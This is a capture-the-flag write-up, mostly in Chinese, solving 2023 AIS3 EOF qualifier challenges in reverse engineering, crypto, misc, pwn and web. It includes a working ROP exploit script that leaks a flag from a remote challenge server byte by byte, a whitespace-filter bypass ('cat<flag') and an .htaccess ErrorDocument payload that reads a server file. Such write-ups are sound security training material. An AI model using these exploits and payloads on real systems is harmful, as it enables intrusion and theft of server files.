# 2023 ais3-eof-qual writeup ## Reverse ### Challenge Name : Mumumu ![](https://i.imgur.com/K2vOHju.png) 題目是一64bit elf ![](https://i.imgur.com/2gmGbZJ.png) 程式行為: 讀取 ./flag, 存到 flag_string中,之後加密這串string並寫入flag_enc,原本的題目提供了flag_enc,因此目標為找到一string經過加密後與原本的flag_enc相同。 原本的flag_enc: 6ct69GHt_A00utACToohy_0u0rb_9c5byF3A}G515buR11_kL{3rp_ ```pytohn= import string print(string.printable) with open('flag_enc', 'r') as f: t = f.read() print(t) s = string.printable correctIndex = {} for i in range(len(s)): for j in range(len(t)): if s[i] == t[j]: correctIndex[j] = i flag = '6ct69GHt_A00utACToohy_0u0rb_9c5byF3A}G515buR11_kL{3rp_' sort_flag = [0]*100 for i in range(len(flag)): sort_flag[correctIndex[i]] = flag[i] output = '' for i in sort_flag: output += i print(output) ``` ![](https://i.imgur.com/yr9S5wi.png) --- ### Challenge Name : Nekomatsuri ![](https://i.imgur.com/TciVBve.png) 執行程式會先read 一個 input ,然後若argc 小於 2 將開一個thread,並執行myThreadFunction的內容,myThreadFunction會開一個 child process 用 pipe與其互動。 ![](https://i.imgur.com/vEOoSUv.png) 從x64dbg觀察 child process的行為是: nekomatsuri.exe Ch1y0d4m0m0 asdfasdfasdfadf(前面隨便亂打的input) argc =3 argv[1] = "Ch1y0d4m0m0" argv[2] = "asdfasdfasdfadf" child process 會再次執行 nekomatsuri.exe,並且帶上兩個參數 因為 argc > 2,程式不會再進入createProcess的部分,先執行enc(),再執行check(argv[1], argv[2]) ![](https://i.imgur.com/M7P1xBI.png) 若 argv[2] 長度不為 65,goto LABEL_10 將argv[2] 經過 xor 的運算,若 argv[2] 不等於 flag_bytes,goto LABEL_10 ![](https://i.imgur.com/oKSKJaX.png) 用x64dbg可以看到當執行到 LABEL_10, return 值為 wrong :( ![](https://i.imgur.com/NzFr0E3.png) 再從x64dbg查看flag_bytes經過第11行的加密變成了甚麼值,有了argv[1]和flag_bytes的值就能推出應將argv[2]設為多少 ```python= a1 = [ord(i) for i in 'Ch1y0d4m0m0'] flag = [0x05, 0x25, 0x72, 0x3D, 0x4F, 0x2F, 0x57, 0x01, 0x57, 0x3B, 0x54, 0x21, 0x3B, 0x51, 0x02, 0x4D, 0x15, 0x42, 0x1E, 0x51, 0x18, 0x7A, 0x27, 0x1A, 0x76, 0x09, 0x43, 0x11, 0x43, 0x11, 0x47, 0x2D, 0x24, 0x50, 0x7C, 0x26, 0x3C, 0x77, 0x27, 0x22, 0x26, 0x2C, 0x7F, 0x7F, 0x0E, 0x77, 0x7C, 0x37, 0x61, 0x6D, 0x31, 0x6F, 0x62, 0x69, 0x36, 0x46, 0x35, 0x3C, 0x20, 0x3F, 0x39, 0x6C, 0x36, 0x3C, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0xF6, 0x58, 0x1A, 0xF6, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00] a2 = "" for i in range(65): a2 += chr(flag[i] ^ i ^ a1[i % len(a1)]) print(a2) ``` ![](https://i.imgur.com/swHNFHN.png) --- ### Challenge Name : Knock ![](https://i.imgur.com/UUVBE5u.png) 用die看,發現是用.NET寫的 ![](https://i.imgur.com/saEa5Qe.png) 直接用ILSPY還原soruce code 程式行為是 Main call Secret0, Secret0 call Secret1 and Secret2; Secret2 用 udp 收資料當參數傳給 Secret3,Secret3 把 udp的資料作hash之類的加密並和local 變數 array做比較,一致的話進入 Secret4 Secret4 用 udp 收資料當參數傳給 Secret5,Secret5 把 udp的資料作hash之類的加密並和local 變數 array做比較,一致的話進入 door() ![](https://i.imgur.com/KO24Sv8.png) - Secret3(data) ![](https://i.imgur.com/zBNhQYR.png) - Secret4(data) ![](https://i.imgur.com/66dt87y.png) - Door() Secret3 和 Secret5 用同樣的方式將 data from udp 加密並和自身的string[] array比較是否相同,而 Door 的行為僅將自身的string[] array print出來,推測若將一 data 以 Secret3 和 Secret5共同的加密邏輯進行加密,得出來的結果與Door 的string[] array相同的話,則此 data 即為 flag ```c#= using System; using System.Net; using System.Net.NetworkInformation; using System.Net.Sockets; using System.Security.Cryptography; using System.Text; namespace knock; internal class Program { private static void Main(string[] args) { byte[] data = new byte[65]; int correctIndex = 0; for (int i = 0; i < 200; i++) { if (correctIndex >= 65) { break; } data[correctIndex] = (byte)i; string[] array = new string[65] { "f8c1ceb2b36371166efc805824b59252", "ec0f4a549025dfdc98bda08d25593311", "3261390a0dfd09dc16c3987eba10eb53", "66d986ecb8b4d61c648cebdcc2a5ccb2", "fbd5870d0c8964d2c9575a1e55fb7be9", "c0992476cbd06f4f9bb7439ecee81022", "debf803f8b64d47bcdcb8e6fc1854fd3", "3fa81b15cf1210e01155396b648bbe2f", "05880def669376ef5070966617ccdeea", "0c635429f6905f04790ecc942b1bcf86", "f70ce87784d549677b28dd0932766833", "790b40de039d3f13dea0e51818e08319", "4a5a99441aa7a885192a0530a407ade0", "0058628c972c658654471b36178f163f", "71f9eaf557aaa691984723bf7536b953", "30cbf3c9e5a0e91168f57f1a5af0b6dc", "d9ccfeb048086c336b1d965aee4a6c3d", "cfd0e95c62ddca1bfd1a902761df59f9", "9798150652e2bd5a24dfbfe5e678be9e", "eb275c9f4a7b3e799dabc6fa56305a13", "e7a559cf6b0acbf36087f76a027d55ba", "fe12380219f2285e48928bcb3658550a", "c6b3fb1f238c3a599fcbabb4127ee6b5", "4d15d083b996e4fd0865c79697fb10cd", "4008c526e86cde781976813b1bc3da38", "b0429dde1bbb1372f98a0d1f4c32fa3f", "2447ed4c7337c2c82d2a7bb63f49ec05", "90b247e82e0a0e30c9caf4402840c860", "e17cadf8ee52aa84dfc47d0203d38710", "bf8f4b12d3135fb4af7a1ac72509c9dc", "f2ee0d18cf0694678d32797774128ddd", "c6c24338269e7aeab5161fb191e475c2", "23c6afffd93216e493fec87ee9315b86", "0b93d09e1cdaed8d8e0de39531de182a", "1657d03d5b217d1d237db25d8a4d5489", "3498f0744f6059fb2bf7c778d085c909", "ac38e3f1e8d93a6a8c417165a59bce67", "e1b0e8bb077ef11bdee3cc67ddf9cd7b", "4732293cca5121ab05dd5e254d22acee", "fad3b901ba4258ad9fd71a7302df8148", "1e02fd1f2f4f22f42fb71a8230c3fa35", "75fcc6674ca64f120eaf3aa911870fc9", "ae8612af96882cb771f1a4d8fdb41fc3", "96bba5d198bfa190c2773516badc221d", "47728b786cbeb69d2c7292925f06aaf1", "3f9031bff26fb95509b8cd353bd0a131", "010863115678f4d19f1d4ac2b2db9697", "e944d1b87ad28a9f7c6cf90680483556", "466d818aafd0cdfc0a9ab3b41a02f5d9", "af0a281c8b0ccb7cb43b4b0345a3bb49", "fcb4cb5a6d51bba742fd9d4d73a3449f", "74dfb0110dbb3da8e23bf5fb40af078c", "eb70b854739c9b6cb35f8b2cf77ed64a", "ffe3b6cfa20bb97c909838f7351e4394", "b85ced8f3f11edbd781ee6b0d79fd7b4", "c10b6289b3fd56c1d17ba758960d1c20", "36986e79b356328a1bc32756416bb744", "e2476b0618c7e20c8246f3e274abca03", "9793fd49590b40952f928e7c431d43a9", "c5d774c5e69aea3707e5552b61c85bb2", "672e62fd225560292abdf292caf05a02", "6615c852430df05c405d1df7723e944f", "80fb5e9390b54dd8ef51d7c9a86bde14", "c05cec12c67e0c3f1cdb7ae7363008c4", "59e4e7efc94b52ce3ba792cbd7aaabd4" }; int num = 0; if (data.Length != array.Length) { return; } foreach (byte b in data) { if (num < correctIndex) { num++; continue; } byte[] obj = new byte[5] { 0, 109, 100, 53, 0 }; obj[0] = b; obj[4] = (byte)num; byte[] buffer = obj; byte[] array2; using (MD5 mD = MD5.Create()) { array2 = mD.ComputeHash(buffer); } if (BitConverter.ToString(array2).Replace("-", "").ToLowerInvariant() != array[num]) { break; } Console.WriteLine(data[correctIndex]); correctIndex++; i = 0; } } Console.Read(); } } ``` 因為數量很少可以直接暴力破解猜出flag: ![](https://i.imgur.com/qO8t6uc.png) --- ### Challenge Name : Donut ![](https://i.imgur.com/dt5iK73.png) 和前面一題一樣是 .NET 但是沒辦法用ILSPY直接還原source code ![](https://i.imgur.com/3fUVDLA.png) 可能有加殼過所以先把程式run起來,再從memory中dump 用 .NET Generic Unpacker 脫殼 ![](https://i.imgur.com/urpO0Kf.png) 接下來就可以用ILSPY還原source code了 從source code 觀察行為,程式會先輸出"What's your favorite flavor of donuts?",再收一個輸入 ```c#= try { int num = int.Parse(text); if (1000 <= num && num < 10000) { using MD5 mD = MD5.Create(); byte[] array = mD.ComputeHash(bytes); BitConverter.ToString(array).Replace("-", string.Empty).ToLower(); byte[] array2 = new byte[24] { 49, 8, 83, 209, 4, 77, 130, 36, 139, 44, 248, 52, 172, 0, 207, 23, 17, 27, 97, 254, 30, 116, 143, 28 }; for (int i = 0; i < array2.Length; i++) { array2[i] ^= array[i % array.Length]; } Console.WriteLine(Encoding.UTF8.GetString(array2)); } } catch (Exception) { } ``` 若輸入值是integer 將其 hash再 xor array2,最後把array2 輸出 ```C#= // donut, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // donut.Program using System; using System.Security.Cryptography; using System.Text; internal class Program { private static void Main(string[] args) { Console.WriteLine("What's your favorite flavor of donuts?"); for (int myInt = 1000; myInt < 10000; myInt++) { string text = myInt.ToString(); byte[] bytes = Encoding.UTF8.GetBytes(text); try { int num = int.Parse(text); Console.WriteLine(num); if (1000 <= num && num < 10000) { using MD5 mD = MD5.Create(); byte[] array = mD.ComputeHash(bytes); BitConverter.ToString(array).Replace("-", string.Empty).ToLower(); byte[] array2 = new byte[24] { 49, 8, 83, 209, 4, 77, 130, 36, 139, 44, 248, 52, 172, 0, 207, 23, 17, 27, 97, 254, 30, 116, 143, 28 }; for (int i = 0; i < array2.Length; i++) { array2[i] ^= array[i % array.Length]; } if(Encoding.UTF8.GetString(array2).StartsWith("FLAG")) { Console.WriteLine(Encoding.UTF8.GetString(array2)); Console.Read(); } } } catch (Exception) { } } } } ``` 遍歷 1000 到 10000,text 為 8192 得到flag ![](https://i.imgur.com/ftfflV5.png) ## Crypto ### Challenge Name : Challenge Name : HEX Points : Category : Crypto Approach : 這題是 AES 加密,給出 iv 和 token cyphertext ,要求 token plaintext,同時我們可以丟 iv 跟 cyphertext 進 server,server 會回傳是否正確。 於是我去觀察哪些字元會報錯,發現只有 ‘A’~’F’, ‘a’~’f’, ‘0’~’9’,也就是可以轉成 hex 的,不會報錯,因此就可以利用以下算式推得 token plaintext : decrypt(token_ct) xor ori_iv = token_pt decrypt(token_ct) xor test_iv = test_pt => if test_pt is valid bit, that means token_pt = test_pt xor test_iv xor ori_iv Code : ![](https://i.imgur.com/kDkvLXT.png) Result : ![](https://i.imgur.com/ZxSOajm.jpg) ## Misc ### Challenge Name : Challenge Name : Washer Points : 50 Category : Misc Approach : 這題有給 source code ,會去執行某個檔案,可以用 write 寫入這個 bash 檔案內容,唯一問題是不能有空白,所以需要用別的字元繞過,例如用 cat<flag 取代 cat flag Result : ![](https://i.imgur.com/08PBzst.jpg) ## Pwn ### Challenge Name : how2know_revenge ```c= #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <seccomp.h> #include <sys/mman.h> #include <stdlib.h> static char flag[0x30]; int main() { char addr[0x10]; int fd; scmp_filter_ctx ctx; fd = open("/home/chal/flag", O_RDONLY); if (fd == -1) perror("open"), exit(1); read(fd, flag, 0x30); close(fd); write(1, "talk is cheap, show me the rop\n", 31); read(0, addr, 0x1000); ctx = seccomp_init(SCMP_ACT_KILL); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); seccomp_load(ctx); seccomp_release(ctx); return 0; } ``` 程式把/home/flag/flag 讀進 char* flag,然後23行給了一個長度0x1000 的 buffer overflow ```python from pwn import * import time # p = remote('edu-ctf.zoolab.org', 10012) context.arch = 'amd64' context.terminal = ['tmux', 'splitw', '-h'] rbp = 0x411740 #用ROPgadet找出地址 add_rax_rdx_ret = 0x00000000004106bf ebfe = 0x0000000000403a8d # 0xEBFE 是一個短跳指令, 作用是跳到這個指令原本的位址 pop_rdi_ret = 0x0000000000401812 pop_rsi_ret = 0x0000000000402798 pop_rdx_ret = 0x000000000040171f pop_rax_ret = 0x0000000000458237 mov_byte_rdi_from_dl_ret = 0x0000000000442c53 strcmp_pop5reg_ret= 0x0000000000485307 movbyte_rdi_rsi_ret = 0x0000000000454aa0 clean_qword_rax8_ret = 0x0000000000427114 flag = "" for i in range(50): for byte in range(0x20, 0x7f): p = remote('edu-ctf.zoolab.org', 10012) # p = process('./chal') print(flag, chr(byte)) flagAddress = 0x4de2e0+i guessByte = flagAddress + 0x50 ROP = flat( #clean guess string pop_rax_ret, guessByte-8, clean_qword_rax8_ret, #clean flag string pop_rax_ret, flagAddress-8+1, clean_qword_rax8_ret, #set guessByte(rdi) as my input pop_rdi_ret, guessByte, pop_rdx_ret, p64(byte), mov_byte_rdi_from_dl_ret, #set rsi as flag and strcmp, if equal shutdown, else sleep forever pop_rsi_ret, flagAddress, strcmp_pop5reg_ret, 0xdeadbeef, 0xdeadbeef, 0xdeadbeef, 0xdeadbeef, 0xdeadbeef, ebfe ) # gdb.attach(p, # """ # b *main # """ # ) payload = b'a' * 0x20 + b'b' * 8 + ROP p.sendafter(b' rop\n', payload) time.sleep(1) try: print(p.recv(timeout=3)) flag += chr(byte) break except Exception as e: print(e) ``` 用 ropGadget 找到 rop chain 的地址 用 IDA 找出 strcmp 的function,因為strcmp會比較字元陣列直到\x00才停止,所以若要一次猜一個byte要先把 flag[index] 以外的byte設為 0,guessByte 的地址也先清空。rsi 傳入 flag,rdi 傳入要猜的byte,因為register沒設定好,若 byte 完全相同會程式崩潰,不同的話就會回到ROP chain中設定好的無限迴圈 ![](https://i.imgur.com/R6KI8i4.png) ## Web ### Challenge Name : Gist content of .htaccess: ErrorDocument 404 %{file:/flag.txt} ![](https://i.imgur.com/4u0yRyt.png) 上傳.htaccess ![](https://i.imgur.com/oj4XvaB.png) 當404 error的時候server 就會 print /flag.txt